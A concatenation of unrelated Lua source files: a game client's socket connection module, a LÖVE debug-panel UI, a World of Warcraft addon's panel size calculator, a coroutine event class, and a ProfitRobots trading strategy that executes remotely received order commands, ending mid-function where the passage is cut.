open = false, -- Whether the connection is open or not.
_isReadingStackLength = true, -- Whether the connection is reading the length of the received packet or not.
_readStackLength = 0, -- Length read at the moment.
_lengthBytes = 0 -- Number of bytes read (real value needs a divison by 7).
}
]]
connection.new = function(self, name, event)
return setmetatable({
event = event,
socket = nil,
buffer = buffer:new(),
ip = "",
packetID = 0,
port = 1,
name = name,
open = false,
_isReadingStackLength = true,
_readStackLength = 0,
_lengthBytes = 0
}, connection)
end
--[[@
@name close
@desc Ends the socket connection.
]]
connection.close = function(self)
self.open = false
self.socket:destroy()
--[[@
@name disconnection
@desc Triggered when a connection dies or fails.
@param connection<connection> The connection object.
]]
self.event:emit("disconnection", self)
end
--[[@
@name connect
@desc Creates a socket to connect to the server of the game.
@param ip<string> The server IP.
@param port?<int> The server port. If nil, all the available ports are going to be used until one gets connected.
]]
connection.connect = function(self, ip, port)
local hasPort = not not port
if not hasPort then
port = enum.setting.port[self.port]
end
local socket
socket = net_createConnection(port, ip, function()
self.socket = socket
self.ip = ip
self.open = true
socket:on("data", function(data)
self.buffer:push(data)
end)
--[[@
@name _socketConnection
@desc Triggered when the socket gets connected.
@param connection<connection> The connection.
@param port<int> The port where the socket got connected.
]]
self.event:emit("_socketConnection", self, port)
end)
timer_setTimeout(3500, function()
if not self.open then
if not hasPort then
self.port = self.port + 1
if self.port <= #enum.setting.port then
return self:connect(ip)
end
end
return error("↑error↓[SOCKET]↑ Timed out.", enum.errorLevel.high)
end
end)
end
--[[@
@name receive
@desc Retrieves the data received from the server.
@returns table,nil The bytes that were removed from the buffer queue. Can be nil if the queue is empty or if a packet is only partially received.
]]
connection.receive = function(self)
local byte
while self._isReadingStackLength and not self.buffer:isEmpty() do
byte = self.buffer:receive(1)[1]
-- r | (b&0x7F << l)
self._readStackLength = bit_bor(self._readStackLength, bit_lshift(bit_band(byte, 0x7F),
self._lengthBytes))
-- Using multiples of 7 saves unnecessary multiplication in the formula above
self._lengthBytes = self._lengthBytes + 7
self._isReadingStackLength = (self._lengthBytes < 35 and bit_band(byte, 0x80) == 0x80)
end
if not self._isReadingStackLength and self.buffer._count >= self._lengthBytes then
local byteArr = self.buffer:receive(self._readStackLength)
self._isReadingStackLength = true
self._readStackLength = 0
self._lengthBytes = 0
return byteArr
end
end
--[[@
@name send
@desc Sends a packet to the server.
@param identifiers<table> The packet identifiers in the format (C, CC).
@param alphaPacket<byteArray,string,number> The packet ByteArray, ByteString or byte to be sent to the server.
]]
connection.send = function(self, identifiers, alphaPacket)
local betaPacket
if type(alphaPacket) == "table" then
if alphaPacket.stack then
betaPacket = byteArray:new(table_fuse(identifiers, alphaPacket.stack))
else
local bytes = {
[1] = string_format("0x%02x%02x", identifiers[1], identifiers[2]),
[2] = 0x1,
[3] = table_join(alphaPacket, 0x1)
}
betaPacket = byteArray:new():write8(1, 1):writeUTF(bytes)
end
elseif type(alphaPacket) == "string" then
betaPacket = byteArray:new(table_fuse(identifiers, string_getBytes(alphaPacket)))
elseif type(alphaPacket) == "number" then
local arg = { table_unpack(identifiers) }
arg[#arg + 1] = alphaPacket
betaPacket = byteArray:new():write8(table_unpack(arg))
else
return error("↑failure↓[SEND]↑ Unknown packet type.\n\tIdentifiers: " ..
table_concat(identifiers, ','), enum.errorLevel.low)
end
local gammaPacket = byteArray:new()
local stackLen = betaPacket.stackLen
local stackType = bit_rshift(stackLen, 7)
while stackType ~= 0 do
gammaPacket:write8(bit_bor(bit_band(stackLen, 0x7F), 0x80)) -- s&0x7F | 0x80
stackLen = stackType
stackType = bit_rshift(stackLen, 7)
end
gammaPacket:write8(bit_band(stackLen, 0x7F))
gammaPacket:write8(self.packetID)
self.packetID = (self.packetID + 1) % 100
table_add(gammaPacket.stack, betaPacket.stack)
local written = self.socket and self.socket:write(table_writeBytes(gammaPacket.stack))
if not written then
self.open = false
if self.ip ~= enum.setting.mainIp then -- Avoids that 'disconnection' gets triggered twice when it is the main instance.
self.event:emit("disconnection", self)
return
end
end
--[[@
@name send
@desc Triggered when the client sends packets to the server.
@param identifiers<table> The C, CC identifiers sent in the request.
@param packet<byteArray> The Byte Array object that was sent.
]]
self.event:emit("send", identifiers, alphaPacket)
end
return connection |
-- Copyright (c) 2019 Redfern, Trevor <trevorredfern@gmail.com>
--
-- This software is released under the MIT License.
-- https://opensource.org/licenses/MIT
local Component = require "moonpie.ui.components.component"
local log = require "moonpie.ui.components.debug.log_entries"
Component("fps_counter", function()
return Component.text({
text = "FPS: {{fps}}",
fps = love.timer.getFPS()
})
end)
Component("love_version", function()
return Component.text({
text = "Löve: {{version}}",
version = love.getVersion()
})
end)
Component("frame_number", function(props)
return Component.text({
text = "Frame Number: {{frame}}",
frame = props.frame_number
})
end)
Component("love_stats", function(props)
return {
{
Component.text({ text = [[
Draw Calls: {{drawcalls}}
Canvas Switches: {{canvasswitches}}
Texture Memory: {{texturememory}}
Images: {{images}}
Canvases = {{canvases}}
Fonts = {{fonts}}
]],
drawcalls = props.stats.drawcalls,
texturememory = props.stats.texturememory,
canvasswitches = props.stats.canvasswitches,
images = props.stats.images,
canvases = props.stats.canvases,
fonts = props.stats.fonts,
}) },
{
Component.fps_counter(),
},
{
Component.memory_stats()
},
{
Component.frame_number({ frame_number = props.stats.frame_number })
}
}
end)
Component("debug_panel", function()
return {
stats = love.graphics.getStats(),
style = "debug_panel",
version = Component.love_version(),
profiler = Component.profile_report(),
render = function(self)
return {
Component.text({ text = "Debug Panel" }),
{
style = "debug_tool",
{
self.version
},
{
width = "30%",
Component.love_stats({ stats = self.stats }),
},
{
width = "30%",
Component.timer_display({ timer = self.paint_timer }),
Component.timer_display({ timer = self.update_timer })
},
{
width = "30%",
Component.display_settings()
}
},
{
style = "debug_tool",
self.profiler,
},
{
style = "debug_tool",
Component.h3({ color = "white", text = "Log" }),
log()
},
}
end
}
end)
|
-- BURST CACHE ---------------------------------------------------
local VUHDO_PANEL_SETUP;
local VUHDO_getHeaderWidthHor;
local VUHDO_getHeaderWidthVer;
local VUHDO_getHeaderHeightHor;
local VUHDO_getHeaderHeightVer;
local VUHDO_getHeaderPosHor;
local VUHDO_getHeaderPosVer;
local VUHDO_getHealButtonPosHor;
local VUHDO_getHealButtonPosVer;
local VUHDO_strempty;
function VUHDO_sizeCalculatorInitLocalOverrides()
VUHDO_PANEL_SETUP = _G["VUHDO_PANEL_SETUP"];
VUHDO_sizeCalculatorInitLocalOverridesHor();
VUHDO_sizeCalculatorInitLocalOverridesVer();
VUHDO_getHeaderWidthHor = _G["VUHDO_getHeaderWidthHor"];
VUHDO_getHeaderWidthVer = _G["VUHDO_getHeaderWidthVer"];
VUHDO_getHeaderHeightHor = _G["VUHDO_getHeaderHeightHor"];
VUHDO_getHeaderHeightVer = _G["VUHDO_getHeaderHeightVer"];
VUHDO_getHeaderPosHor = _G["VUHDO_getHeaderPosHor"];
VUHDO_getHeaderPosVer = _G["VUHDO_getHeaderPosVer"];
VUHDO_getHealButtonPosHor = _G["VUHDO_getHealButtonPosHor"];
VUHDO_getHealButtonPosVer = _G["VUHDO_getHealButtonPosVer"];
VUHDO_strempty = _G["VUHDO_strempty"];
end
-- BURST CACHE ---------------------------------------------------
local sHealButtonWidthCache = { };
local sTopHeightCache = { };
local sBottomHeightCache = { };
function resetSizeCalcCaches()
table.wipe(sHealButtonWidthCache);
table.wipe(sTopHeightCache);
table.wipe(sBottomHeightCache);
VUHDO_resetSizeCalcCachesHor();
VUHDO_resetSizeCalcCachesVer();
end
-- Returns the total height of optional threat bars
function VUHDO_getAdditionalTopHeight(aPanelNum)
if not sTopHeightCache[aPanelNum] then
local tTopSpace;
if VUHDO_INDICATOR_CONFIG["BOUQUETS"]["THREAT_BAR"] ~= "" then
tTopSpace = VUHDO_INDICATOR_CONFIG["CUSTOM"]["THREAT_BAR"]["HEIGHT"];
else
tTopSpace = 0;
end
local tNamePos = VUHDO_splitString(VUHDO_PANEL_SETUP[aPanelNum]["ID_TEXT"]["position"], "+");
if strfind(tNamePos[1], "BOTTOM", 1, true) and strfind(tNamePos[2], "TOP", 1, true) then
local tNameHeight = VUHDO_PANEL_SETUP[aPanelNum]["ID_TEXT"]["_spacing"];
if tNameHeight and tNameHeight > tTopSpace then
tTopSpace = tNameHeight;
end
end
sTopHeightCache[aPanelNum] = tTopSpace;
end
return sTopHeightCache[aPanelNum];
end
--
function VUHDO_getAdditionalBottomHeight(aPanelNum)
if not sBottomHeightCache[aPanelNum] then
-- HoT icons
local tHotCfg = VUHDO_PANEL_SETUP["HOTS"];
local tBottomSpace;
if tHotCfg["radioValue"] == 7 or tHotCfg["radioValue"] == 8 then
tBottomSpace = VUHDO_PANEL_SETUP[aPanelNum]["SCALING"]["barHeight"] * VUHDO_PANEL_SETUP[aPanelNum]["HOTS"]["size"] * 0.01;
else
tBottomSpace = 0;
end
local tNamePos = VUHDO_splitString(VUHDO_PANEL_SETUP[aPanelNum]["ID_TEXT"]["position"], "+");
if strfind(tNamePos[1], "TOP", 1, true) and strfind(tNamePos[2], "BOTTOM", 1, true) then
local tNameHeight = VUHDO_PANEL_SETUP[aPanelNum]["ID_TEXT"]["_spacing"];
if tNameHeight and tNameHeight > tBottomSpace then
tBottomSpace = tNameHeight;
end
end
sBottomHeightCache[aPanelNum] = tBottomSpace;
end
return sBottomHeightCache[aPanelNum];
end
--
local tBarScaling;
local tTargetWidth;
local function VUHDO_getTargetBarWidth(aPanelNum)
tBarScaling = VUHDO_PANEL_SETUP[aPanelNum]["SCALING"];
tTargetWidth = 0;
if tBarScaling["showTarget"] then
tTargetWidth = tTargetWidth + tBarScaling["targetSpacing"] + tBarScaling["targetWidth"];
end
if tBarScaling["showTot"] then
tTargetWidth = tTargetWidth + tBarScaling["totSpacing"] + tBarScaling["totWidth"];
end
return tTargetWidth;
end
--
function VUHDO_getNumHotSlots(aPanelNum)
if not VUHDO_strempty(VUHDO_PANEL_SETUP["HOTS"]["SLOTS"][10]) then
return 7;
elseif not VUHDO_strempty(VUHDO_PANEL_SETUP["HOTS"]["SLOTS"][9]) then
return 6;
else
for tCnt = 5, 1, -1 do
if not VUHDO_strempty(VUHDO_PANEL_SETUP["HOTS"]["SLOTS"][tCnt]) then
return tCnt;
end
end
return 0;
end
end
local VUHDO_getNumHotSlots = VUHDO_getNumHotSlots;
--
local tHotCfg;
local function VUHDO_getHotIconWidth(aPanelNum)
tHotCfg = VUHDO_PANEL_SETUP["HOTS"];
if tHotCfg["radioValue"] == 1 or tHotCfg["radioValue"] == 4 then
return VUHDO_PANEL_SETUP[aPanelNum]["SCALING"]["barHeight"]
* VUHDO_PANEL_SETUP[aPanelNum]["HOTS"]["size"]
* VUHDO_getNumHotSlots(aPanelNum) * 0.01;
else
return 0;
end
end
--
function VUHDO_getHealButtonWidth(aPanelNum)
if not sHealButtonWidthCache[aPanelNum] then
sHealButtonWidthCache[aPanelNum] =
VUHDO_PANEL_SETUP[aPanelNum]["SCALING"]["barWidth"]
+ VUHDO_getTargetBarWidth(aPanelNum)
+ VUHDO_getHotIconWidth(aPanelNum);
end
return sHealButtonWidthCache[aPanelNum];
end
--
local function VUHDO_isPanelHorizontal(aPanelNum)
return VUHDO_PANEL_SETUP[aPanelNum]["SCALING"]["arrangeHorizontal"]
and (not VUHDO_IS_PANEL_CONFIG or VUHDO_CONFIG_SHOW_RAID);
end
-- Returns total header width
function VUHDO_getHeaderWidth(aPanelNum)
return VUHDO_isPanelHorizontal(aPanelNum)
and VUHDO_getHeaderWidthHor(aPanelNum) or VUHDO_getHeaderWidthVer(aPanelNum);
end
-- Returns total header height
function VUHDO_getHeaderHeight(aPanelNum)
return VUHDO_isPanelHorizontal(aPanelNum)
and VUHDO_getHeaderHeightHor(aPanelNum) or VUHDO_getHeaderHeightVer(aPanelNum);
end
--
function VUHDO_getHeaderPos(aHeaderPlace, aPanelNum)
if VUHDO_isPanelHorizontal(aPanelNum) then
return VUHDO_getHeaderPosHor(aHeaderPlace, aPanelNum);
else
return VUHDO_getHeaderPosVer(aHeaderPlace, aPanelNum);
end
end
--
function VUHDO_getHealButtonPos(aPlaceNum, aRowNo, aPanelNum)
-- Achtung: Positionen nicht cachen, da z.T. von dynamischen Models abh�ngig
if VUHDO_isPanelHorizontal(aPanelNum) then
return VUHDO_getHealButtonPosHor(aPlaceNum, aRowNo, aPanelNum);
else
return VUHDO_getHealButtonPosVer(aPlaceNum, aRowNo, aPanelNum);
end
end
--
function VUHDO_getHealPanelWidth(aPanelNum)
return VUHDO_isPanelHorizontal(aPanelNum)
and VUHDO_getHealPanelWidthHor(aPanelNum) or VUHDO_getHealPanelWidthVer(aPanelNum);
end
--
local tHeight;
function VUHDO_getHealPanelHeight(aPanelNum)
tHeight = VUHDO_isPanelHorizontal(aPanelNum)
and VUHDO_getHealPanelHeightHor(aPanelNum) or VUHDO_getHealPanelHeightVer(aPanelNum);
return tHeight >= 20 and tHeight or 20;
end
|
local Event = {}
Event.new = function()
local obj = {
Items = {};
Queued = {};
Invoke = function(self, ...)
for i = #self.Queued, 1, -1 do
coroutine.resume(self.Queued[i])
table.remove(self.Queued, i)
end
for _, v in pairs(self.Items) do
coroutine.wrap(v)(...)
end
end;
Wait = function(self)
local thread = coroutine.running()
table.insert(self.Queued, thread)
coroutine.yield()
end;
Connect = function(self, f)
assert(type(f) == "function", "The callback provided is not a function.")
local Owner = self
local Connected = f
local Connection
Connection = {
Disconnect = function(self)
Owner.Items[Connection] = nil
end
}
self.Items[Connection] = f
return Connection
end;
}
local event = newproxy(true)
local mt = getmetatable(event)
mt.__index = obj
return event
end
return Event
|
local STRATEGY_NAME = "ProfitRobots Order Executer";
local STRATEGY_VERSION = "3";
local Modules = {};
function Init()
strategy:name(STRATEGY_NAME .. " v" .. STRATEGY_VERSION);
strategy:description("");
strategy:type(core.Both);
strategy:setTag("Version", STRATEGY_VERSION);
strategy:setTag("NonOptimizableParameters", "StartTime,StopTime,ToTime,signaler_ToTime,signaler_show_alert,signaler_play_soundsignaler_sound_file,signaler_recurrent_sound,signaler_send_email,signaler_email,signaler_show_popup,signaler_debug_alert,use_advanced_alert,advanced_alert_key");
strategy.parameters:addBoolean("allow_trade", "Allow strategy to trade", "", true);
strategy.parameters:setFlag("allow_trade", core.FLAG_ALLOW_TRADE);
strategy.parameters:addString("account", "Account to trade on", "", "");
strategy.parameters:setFlag("account", core.FLAG_ACCOUNT);
strategy.parameters:addString("key", "Key", "", "");
strategy.parameters:addInteger("server", "Server", "", 4);
strategy.parameters:addIntegerAlternative("server", "ProfitRobots.com", "", 4);
strategy.parameters:addIntegerAlternative("server", "Self-hosted", "", 1);
end
local allow_trade, account;
local TIMER_ID = 1;
local Constants;
local started = false;
function Prepare(name_only)
for _, module in pairs(Modules) do module:Prepare(nameOnly); end
account = instance.parameters.account;
allow_trade = instance.parameters.allow_trade;
instance:name(profile:id() .. "(" .. instance.bid:name() .. ")");
if name_only then return ; end
core.host:execute("setTimer", TIMER_ID, 1);
require("AdvancedNotifications");
require("CommandExecuter");
Constants = CommandExecuter.Constants();
end
function ExtUpdate(id, source, period) for _, module in pairs(Modules) do if module.ExtUpdate ~= nil then module:ExtUpdate(id, source, period); end end end
function ReleaseInstance()
for _, module in pairs(Modules) do if module.ReleaseInstance ~= nil then module:ReleaseInstance(); end end
if started then
AdvancedNotifications.StopListener();
end
end
function ExecuteCommand(command)
if command.Action == Constants.ACTION_CREATE then
ExecuteOpenCommand(command);
elseif command.Action == Constants.ACTION_CHANGE then
ExecuteChangeCommand(command);
elseif command.Action == Constants.ACTION_CLOSE then
ExecuteCloseCommand(command);
else
end
end
function FindOffer(symbol)
symbol = string.upper(symbol);
local enum = core.host:findTable("offers"):enumerator();
local row = enum:next();
while row ~= nil do
local instrument = row.Instrument:upper();
if instrument == symbol then
return row;
end
local index = string.find(instrument, "/");
if index ~= nil then
local instrumentAlt = string.gsub(instrument, "/", "");
if instrumentAlt == symbol then
return row;
end
end
row = enum:next();
end
end
function ExecuteCloseCommand(command)
local offer;
if command.Symbol ~= nil then
offer = FindOffer(command.Symbol);
assert(offer ~= nil, command.Symbol .. " not found");
end
local findCommand = trading:FindTrade();
if offer ~= nil then
findCommand:WhenInstrument(offer.Instrument);
end
if command.OrderSide ~= nil then
findCommand:WhenSide(command.OrderSide == Constants.ORDER_SIDE_LONG and "B" or "S");
end
if command.AmountType == Constants.AMOUNT_NOT_SET then
findCommand:Do(function (trade) trading:Close(trade) end)
elseif command.AmountType == Constants.AMOUNT_CONTRACTS then
local closedAmount = 0;
findCommand:Do(
function (trade)
if closedAmount >= command.Amount then
return;
end
if trade.AmountK <= (command.Amount - closedAmount) then
trading:Close(trade);
else
assert(false, "Partial close is not implemented yet");
end
closedAmount = closedAmount + trade.AmountK;
end
);
else
assert(false, "This amount type is not supported yet");
end
end
function ExecuteOpenCommand(command)
local offer = FindOffer(command.Symbol);
assert(offer ~= nil, command.Symbol .. " not found");
local openCommand = trading:MarketOrder(offer.Instrument);
openCommand:SetSide(command.OrderSide == Constants.ORDER_SIDE_LONG and "B" or "S")
:SetAccountID(account);
assert(command.AmountType == Constants.AMOUNT_CONTRACTS, "Only contracts supported as a position size");
openCommand:SetAmount(command.Amount);
if command.StopLossType == Constants.SL_ABOSOLUTE then
openCommand:SetStop(command.StopLossValue);
elseif command.StopLossType == Constants.SL_PIPS then
openCommand:SetPipStop(nil, command.StopLossValue);
end
if command.TakeProfitType == Constants.SL_ABOSOLUTE then
openCommand:SetLimit(command.TakeProfitValue);
elseif command.TakeProfitType == Constants.SL_PIPS then
openCommand:SetPipLimit(nil, command.TakeProfitValue);
end
if command.OrderId ~= nil then
openCommand:SetCustomID(command.OrderId);
end
local result = openCommand:Execute();
if result.Finished and not result.Success then
core.host:trace(result.Error);
else
if command.BreakevenType == Constants.BREAKEVEN_ENABLED then
local controller = breakeven:CreateBreakeven()
:SetRequestID(result.RequestID)
:SetWhen(command.BreakevenWhen)
:SetTo(command.BreakevenTo);
end
if command.TrailingType == Constants.TRAILING_DELAYED then
assert(command.StopLossType == Constants.SL_PIPS, "Only pips stop loss are supported for the trailing");
local controller = breakeven:CreateBreakeven()
:SetRequestID(result.RequestID)
:SetWhen(command.TrailingWhen)
:SetTo(command.StopLossValue)
:SetTrailing(command.TrailingStep);
end
end
end
function ExecuteChangeCommand(command)
local trade = trading:FindTrade():WhenCustomID(command.OrderId):First();
if trade == nil then
return;
end
if command.StopLossType == Constants.SL_ABOSOLUTE then
trading:MoveStop(trade, command.StopLossValue);
elseif command.StopLossType == Constants.SL_PIPS then
local offer = core.host:findTable("offers"):find("Instrument", trade.Instrument);
local stop;
if trade.BS == "B" then
stop = trade.Open - command.StopLossValue * offer.PointSize;
else
stop = trade.Open + command.StopLossValue * offer.PointSize;
end
trading:MoveStop(trade, stop);
end
if command.TakeProfitType == Constants.SL_ABOSOLUTE then
trading:MoveLimit(trade, command.TakeProfitValue);
elseif command.TakeProfitType == Constants.SL_PIPS then
local offer = core.host:findTable("offers"):find("Instrument", trade.Instrument);
local limit;
if trade.BS == "B" then
limit = trade.Open + command.StopLossValue * offer.PointSize;
else
limit = trade.Open - command.StopLossValue * offer.PointSize;
end
trading:MoveLimit(trade, limit);
end
end
function ExtAsyncOperationFinished(cookie, success, message, message1, message2)
for _, module in pairs(Modules) do if module.AsyncOperationFinished ~= nil then module:AsyncOperationFinished(cookie, success, message, message1, message2); end end
if cookie == TIMER_ID then
local status = AdvancedNotifications.ListenerStatus();
if not started then
if status ~= 0 then
return;
end
local res = AdvancedNotifications.StartListener(instance.parameters.key, instance.parameters.server);
started = true;
return;
end
if status ~= last_status then
core.host:trace("status " .. status);
last_status = status;
end
local logMessage = AdvancedNotifications.PopLogMessage();
while logMessage ~= "" do
core.host:trace(logMessage);
logMessage = AdvancedNotifications.PopLogMessage();
end
local message = AdvancedNotifications.GetNextMessage();
while message ~= "" do
if allow_trade then
core.host:trace("Executing command: " .. message)
local success, exception = pcall(function ()
local command = CommandExecuter.ParseCommand(message);
ExecuteCommand(command);
end);
if not success then
core.host:trace("Error whiile executing command: " .. exception);
end
else
core.host:trace("Command recieved: " .. message)
end
message = AdvancedNotifications.GetNextMessage();
end
end
end
dofile(core.app_path() .. "\\strategies\\standard\\include\\helper.lua");
trading = {};
trading.Name = "Trading";
trading.Version = "4.21";
trading.Debug = false;
trading.AddAmountParameter = true;
trading.AddStopParameter = true;
trading.AddLimitParameter = true;
trading.AddBreakevenParameters = true;
trading._ids_start = nil;
trading._signaler = nil;
trading._account = nil;
trading._all_modules = {};
trading._request_id = {};
trading._waiting_requests = {};
trading._used_stop_orders = {};
trading._used_limit_orders = {};
function trading:trace(str) if not self.Debug then return; end core.host:trace(self.Name .. ": " .. str); end
function trading:RegisterModule(modules) for _, module in pairs(modules) do self:OnNewModule(module); module:OnNewModule(self); end modules[#modules + 1] = self; self._ids_start = (#modules) * 100; end
function trading:AddPositionParameters(parameters, id)
if self.AddAmountParameter then
parameters:addInteger("amount" .. id, "Trade Amount in Lots", "", 1);
end
if CreateStopParameters == nil or not CreateStopParameters(parameters, id) then
parameters:addString("stop_type" .. id, "Stop Order", "", "no");
parameters:addStringAlternative("stop_type" .. id, "No stop", "", "no");
parameters:addStringAlternative("stop_type" .. id, "In Pips", "", "pips");
parameters:addStringAlternative("stop_type" .. id, "ATR", "", "atr");
parameters:addDouble("stop" .. id, "Stop Value", "In pips or ATR period", 30);
parameters:addDouble("atr_stop_mult" .. id, "ATR Stop Multiplicator", "", 2.0);
parameters:addBoolean("use_trailing" .. id, "Trailing stop order", "", false);
parameters:addInteger("trailing" .. id, "Trailing in pips", "Use 1 for dynamic and 10 or greater for the fixed trailing", 1);
end
if CreateLimitParameters ~= nil then
CreateLimitParameters(parameters, id);
else
parameters:addString("limit_type" .. id, "Limit Order", "", "no");
parameters:addStringAlternative("limit_type" .. id, "No limit", "", "no");
parameters:addStringAlternative("limit_type" .. id, "In Pips", "", "pips");
parameters:addStringAlternative("limit_type" .. id, "ATR", "", "atr");
parameters:addStringAlternative("limit_type" .. id, "Multiplicator of stop", "", "stop");
parameters:addDouble("limit" .. id, "Limit Value", "In pips or ATR period", 30);
parameters:addDouble("atr_limit_mult" .. id, "ATR Limit Multiplicator", "", 2.0);
parameters:addString("TRAILING_LIMIT_TYPE" .. id, "Trailing Limit", "", "Off");
parameters:addStringAlternative("TRAILING_LIMIT_TYPE" .. id, "Off", "", "Off");
parameters:addStringAlternative("TRAILING_LIMIT_TYPE" .. id, "Favorable", "moves limit up for long/buy positions, vice versa for short/sell", "Favorable");
parameters:addStringAlternative("TRAILING_LIMIT_TYPE" .. id, "Unfavorable", "moves limit down for long/buy positions, vice versa for short/sell", "Unfavorable");
parameters:addDouble("TRAILING_LIMIT_TRIGGER" .. id, "Trailing Limit Trigger in Pips", "", 0);
parameters:addDouble("TRAILING_LIMIT_STEP" .. id, "Trailing Limit Step in Pips", "", 10);
end
if self.AddBreakevenParameters then
parameters:addBoolean("use_breakeven" .. id, "Use Breakeven", "", false);
parameters:addDouble("breakeven_when" .. id, "Breakeven Activation Value, in pips", "", 10);
parameters:addDouble("breakeven_to" .. id, "Breakeven To, in pips", "", 0);
parameters:addString("breakeven_trailing" .. id, "Trailing after breakeven", "", "default");
parameters:addStringAlternative("breakeven_trailing" .. id, "Do not change", "", "default");
parameters:addStringAlternative("breakeven_trailing" .. id, "Set trailing", "", "set");
parameters:addBoolean("breakeven_close" .. id, "Partial close on breakeven", "", false);
parameters:addDouble("breakeven_close_amount" .. id, "Partial close amount, %", "", 50);
end
end
function trading:Init(parameters, count)
parameters:addBoolean("allow_trade", "Allow strategy to trade", "", true);
parameters:setFlag("allow_trade", core.FLAG_ALLOW_TRADE);
parameters:addString("account", "Account to trade on", "", "");
parameters:setFlag("account", core.FLAG_ACCOUNT);
parameters:addString("allow_side", "Allow side", "", "both")
parameters:addStringAlternative("allow_side", "Both", "", "both")
parameters:addStringAlternative("allow_side", "Long/buy only", "", "buy")
parameters:addStringAlternative("allow_side", "Short/sell only", "", "sell")
parameters:addBoolean("close_on_opposite", "Close on Opposite", "", true);
if ENFORCE_POSITION_CAP ~= true then
parameters:addBoolean("position_cap", "Position Cap", "", false);
parameters:addInteger("no_of_positions", "Max # of open positions", "", 1);
parameters:addInteger("no_of_buy_position", "Max # of buy positions", "", 1);
parameters:addInteger("no_of_sell_position", "Max # of sell positions", "", 1);
end
if count == nil or count == 1 then
parameters:addGroup("Position");
self:AddPositionParameters(parameters, "");
else
for i = 1, count do
parameters:addGroup("Position #" .. i);
parameters:addBoolean("use_position_" .. i, "Open position #" .. i, "", i == 1);
self:AddPositionParameters(parameters, "_" .. i);
end
end
end
function trading:Prepare(name_only)
if name_only then return; end
end
function trading:ExtUpdate(id, source, period)
end
function trading:OnNewModule(module)
if module.Name == "Signaler" then self._signaler = module; end
self._all_modules[#self._all_modules + 1] = module;
end
function trading:AsyncOperationFinished(cookie, success, message, message1, message2)
local res = self._waiting_requests[cookie];
if res ~= nil then
res.Finished = true;
res.Success = success;
if not success then
res.Error = message;
if self._signaler ~= nil then
self._signaler:Signal(res.Error);
else
self:trace(res.Error);
end
elseif res.OnSuccess ~= nil then
res:OnSuccess();
end
self._waiting_requests[cookie] = nil;
elseif cookie == self._order_update_id then
for _, order in ipairs(self._monitored_orders) do
if order.RequestID == message2 then
order.FixStatus = message1;
end
end
elseif cookie == self._ids_start + 2 then
if not success then
if self._signaler ~= nil then
self._signaler:Signal("Close order failed: " .. message);
else
self:trace("Close order failed: " .. message);
end
end
end
end
function trading:getOppositeSide(side) if side == "B" then return "S"; end return "B"; end
function trading:getId()
for id = self._ids_start, self._ids_start + 100 do
if self._waiting_requests[id] == nil then return id; end
end
return self._ids_start;
end
function trading:CreateStopOrder(trade, stop_rate, trailing)
local valuemap = core.valuemap();
valuemap.Command = "CreateOrder";
valuemap.OfferID = trade.OfferID;
valuemap.Rate = stop_rate;
if trade.BS == "B" then
valuemap.BuySell = "S";
else
valuemap.BuySell = "B";
end
local can_close = core.host:execute("getTradingProperty", "canCreateMarketClose", trade.Instrument, trade.AccountID);
if can_close then
valuemap.OrderType = "S";
valuemap.AcctID = trade.AccountID;
valuemap.TradeID = trade.TradeID;
valuemap.Quantity = trade.Lot;
valuemap.TrailUpdatePips = trailing;
else
valuemap.OrderType = "SE"
valuemap.AcctID = trade.AccountID;
valuemap.NetQtyFlag = "Y"
end
local id = self:getId();
local success, msg = terminal:execute(id, valuemap);
if not(success) then
local message = "Failed create stop " .. msg;
self:trace(message);
if self._signaler ~= nil then
self._signaler:Signal(message);
end
local res = {};
res.Finished = true;
res.Success = false;
res.Error = message;
return res;
end
local res = {};
res.Finished = false;
res.RequestID = msg;
self._waiting_requests[id] = res;
self._request_id[trade.TradeID] = msg;
return res;
end
function trading:CreateLimitOrder(trade, limit_rate)
local valuemap = core.valuemap();
valuemap.Command = "CreateOrder";
valuemap.OfferID = trade.OfferID;
valuemap.Rate = limit_rate;
if trade.BS == "B" then
valuemap.BuySell = "S";
else
valuemap.BuySell = "B";
end
local can_close = core.host:execute("getTradingProperty", "canCreateMarketClose", trade.Instrument, trade.AccountID);
if can_close then
valuemap.OrderType = "L";
valuemap.AcctID = trade.AccountID;
valuemap.TradeID = trade.TradeID;
valuemap.Quantity = trade.Lot;
else
valuemap.OrderType = "LE"
valuemap.AcctID = trade.AccountID;
valuemap.NetQtyFlag = "Y"
end
local success, msg = terminal:execute(200, valuemap);
if not(success) then
terminal:alertMessage(trade.Instrument, limit_rate, "Failed create limit " .. msg, core.now());
else
self._request_id[trade.TradeID] = msg;
end
end
function trading:ChangeOrder(order, rate, trailing)
local min_change = core.host:findTable("offers"):find("Instrument", order.Instrument).PointSize;
if math.abs(rate - order.Rate) > min_change then
self:trace(string.format("Changing an order to %s", tostring(rate)));
-- stop exists
local valuemap = core.valuemap();
valuemap.Command = "EditOrder";
valuemap.AcctID = order.AccountID;
valuemap.OrderID = order.OrderID;
valuemap.TrailUpdatePips = trailing;
valuemap.Rate = rate;
local id = self:getId();
local success, msg = terminal:execute(id, valuemap);
if not(success) then
local message = "Failed change order " .. msg;
self:trace(message);
if self._signaler ~= nil then
self._signaler:Signal(message);
end
local res = {};
res.Finished = true;
res.Success = false;
res.Error = message;
return res;
end
local res = {};
res.Finished = false;
res.RequestID = msg;
self._waiting_requests[id] = res;
return res;
end
local res = {};
res.Finished = true;
res.Success = true;
return res;
end
function trading:IsLimitOrderType(order_type) return order_type == "L" or order_type == "LE" or order_type == "LT" or order_type == "LTE"; end
function trading:IsStopOrderType(order_type) return order_type == "S" or order_type == "SE" or order_type == "ST" or order_type == "STE"; end
function trading:FindLimitOrder(trade)
local can_close = core.host:execute("getTradingProperty", "canCreateMarketClose", trade.Instrument, trade.AccountID);
if can_close then
local order_id;
if trade.LimitOrderID ~= nil and trade.LimitOrderID ~= "" then
order_id = trade.LimitOrderID;
self:trace("Using limit order id from the trade");
elseif self._request_id[trade.TradeID] ~= nil then
self:trace("Searching limit order by request id: " .. tostring(self._request_id[trade.TradeID]));
local order = core.host:findTable("orders"):find("RequestID", self._request_id[trade.TradeID]);
if order ~= nil then
order_id = order.OrderID;
self._request_id[trade.TradeID] = nil;
end
end
-- Check that order is stil exist
if order_id ~= nil then return core.host:findTable("orders"):find("OrderID", order_id); end
else
local enum = core.host:findTable("orders"):enumerator();
local row = enum:next();
while (row ~= nil) do
if row.ContingencyType == 3 and IsLimitOrderType(row.Type) and self._used_limit_orders[row.OrderID] ~= true then
self._used_limit_orders[row.OrderID] = true;
return row;
end
row = enum:next();
end
end
return nil;
end
function trading:FindStopOrder(trade)
local can_close = core.host:execute("getTradingProperty", "canCreateMarketClose", trade.Instrument, trade.AccountID);
if can_close then
local order_id;
